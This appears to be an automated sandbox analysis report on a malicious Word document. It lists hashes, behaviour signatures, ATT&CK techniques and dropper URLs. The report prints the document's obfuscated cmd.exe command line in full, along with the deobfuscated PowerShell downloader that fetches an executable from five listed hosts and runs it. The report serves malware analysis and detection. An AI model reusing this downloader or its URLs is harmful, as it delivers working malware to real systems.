0ee992c47ce36bb0ec5f69e73c1503daac08270193ffa3a8bfbcd9efccd903c5

General

Target

0cd2dc8f5077f4bbf3b937793970fa25_JaffaCakes118.doc
Size

76KB
MD5

0cd2dc8f5077f4bbf3b937793970fa25
SHA1

cd23e7cf92c31d0d61b717e3aa520f696e3a031d
SHA256

0ee992c47ce36bb0ec5f69e73c1503daac08270193ffa3a8bfbcd9efccd903c5
SHA512

cca2600b1dcc91903695d49d8914581604e15c18e043dbd95a3573593cae8412aa41fdb5d7e739f0de73d1cd3e59b80e8bdc0f6f0a158bb2786199d185212586
SSDEEP

1536:zptJlmrJpmxlRw99NBF+a//zUmUmUlo/gGbc2+:9te2dw99fluNQc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bigsenindonesia.com/kYQ9UR0

exe.dropper

http://hotelnoraipro.com/iw0

exe.dropper

http://4theweb.co.uk/wwvvv/w3b

exe.dropper

http://andrewmiller.com.au/YJ7ro

exe.dropper

http://91.151.190.122/osticket/C1A9

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4076	1836	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

34 4140 powershell.exe
43 4140 powershell.exe
46 4140 powershell.exe
48 4140 powershell.exe
54 4140 powershell.exe
60 4140 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

4076 cmd.exe

flow	pid	process
34	4140	powershell.exe
43	4140	powershell.exe
46	4140	powershell.exe
48	4140	powershell.exe
54	4140	powershell.exe
60	4140	powershell.exe

pid	process
4076	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1836 WINWORD.EXE
1836 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4140 powershell.exe
4140 powershell.exe
4140 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4140 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1836 WINWORD.EXE
1836 WINWORD.EXE
1836 WINWORD.EXE
1836 WINWORD.EXE
1836 WINWORD.EXE
1836 WINWORD.EXE
1836 WINWORD.EXE

pid	process
1836	WINWORD.EXE
1836	WINWORD.EXE

pid	process
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4140	powershell.exe

pid	process
1836	WINWORD.EXE
1836	WINWORD.EXE
1836	WINWORD.EXE
1836	WINWORD.EXE
1836	WINWORD.EXE
1836	WINWORD.EXE
1836	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1836 wrote to memory of 4076	1836	WINWORD.EXE	cmd.exe
PID 1836 wrote to memory of 4076	1836	WINWORD.EXE	cmd.exe
PID 4076 wrote to memory of 4140	4076	cmd.exe	powershell.exe
PID 4076 wrote to memory of 4140	4076	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0cd2dc8f5077f4bbf3b937793970fa25_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\SYSTEM32\cmd.exe
cmd /V^:^O/C"s^e^t rn=^ ^ ^ ^ ^ ^ ^ }}^{^hctac}^;k^a^erb;Mp^L$ m^et^I^-ek^ovnI;)M^p^L$^ ^,WhX$(eliFd^a^olnwo^D^.qnv${yrt^{)V^W^W^$^ n^i^ ^W^h^X^$(hcaerof;'^exe^.'+^wMO$^+^'\^'^+c^i^l^b^up:vn^e^$^=^M^pL^$;^'3^9^1^' ^= w^MO$^;)'^@'(t^i^l^p^S.'^9A^1C/^tekcitso/22^1^.^0^9^1^.^151^.^19//^:pt^t^h^@^or7^J^Y/u^a^.m^oc^.rel^l^imw^er^dn^a//^:ptt^h@b^3^w/vvvww/^k^u^.^oc^.^b^ew^e^ht^4//:^p^tth^@^0w^i/^m^oc^.orpi^aronleto^h//:^p^tt^h@^0RU9^QY^k/^moc^.^ai^senodnin^esg^i^b//:pt^th'^=VWW^$;tn^e^i^lC^b^e^W^.^t^eN^ tc^e^j^b^o^-^w^en^=^qnv^$^ ^l^lehsr^ew^op&&^f^or /^L %^H ^in (37^3,^-1^,0)^d^o s^e^t ^0^3^i=!^0^3^i!!rn:~%^H,1!&&i^f %^H ^ls^s ^1 c^al^l %^0^3^i:^~-3^74%"
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $vnq=new-object Net.WebClient;$WWV='http://bigsenindonesia.com/kYQ9UR0@http://hotelnoraipro.com/iw0@http://4theweb.co.uk/wwvvv/w3b@http://andrewmiller.com.au/YJ7ro@http://91.151.190.122/osticket/C1A9'.Split('@');$OMw = '193';$LpM=$env:public+'\'+$OMw+'.exe';foreach($XhW in $WWV){try{$vnq.DownloadFile($XhW, $LpM);Invoke-Item $LpM;break;}catch{}}
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1340 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:8
1⤵
PID:4712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jpuqhb2e.kl5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1836-22-0x00007FFC40B80000-0x00007FFC412BF000-memory.dmp

Filesize
7.2MB

Download
memory/1836-39-0x00007FFC40B80000-0x00007FFC412BF000-memory.dmp

Filesize
7.2MB

Download
memory/1836-3-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

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memory/1836-4-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

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memory/1836-64-0x00007FFC40B80000-0x00007FFC412BF000-memory.dmp

Filesize
7.2MB

Download
memory/1836-6-0x00007FFC00310000-0x00007FFC00320000-memory.dmp

Filesize
64KB

Download
memory/1836-1-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/1836-7-0x00007FFC00310000-0x00007FFC00320000-memory.dmp

Filesize
64KB

Download
memory/1836-5-0x00007FFC40B80000-0x00007FFC412BF000-memory.dmp

Filesize
7.2MB

Download
memory/1836-2-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/1836-0-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/1836-60-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/1836-61-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/1836-63-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/1836-62-0x00007FFC02370000-0x00007FFC02380000-memory.dmp

Filesize
64KB

Download
memory/4140-34-0x000001894EC60000-0x000001894EC82000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads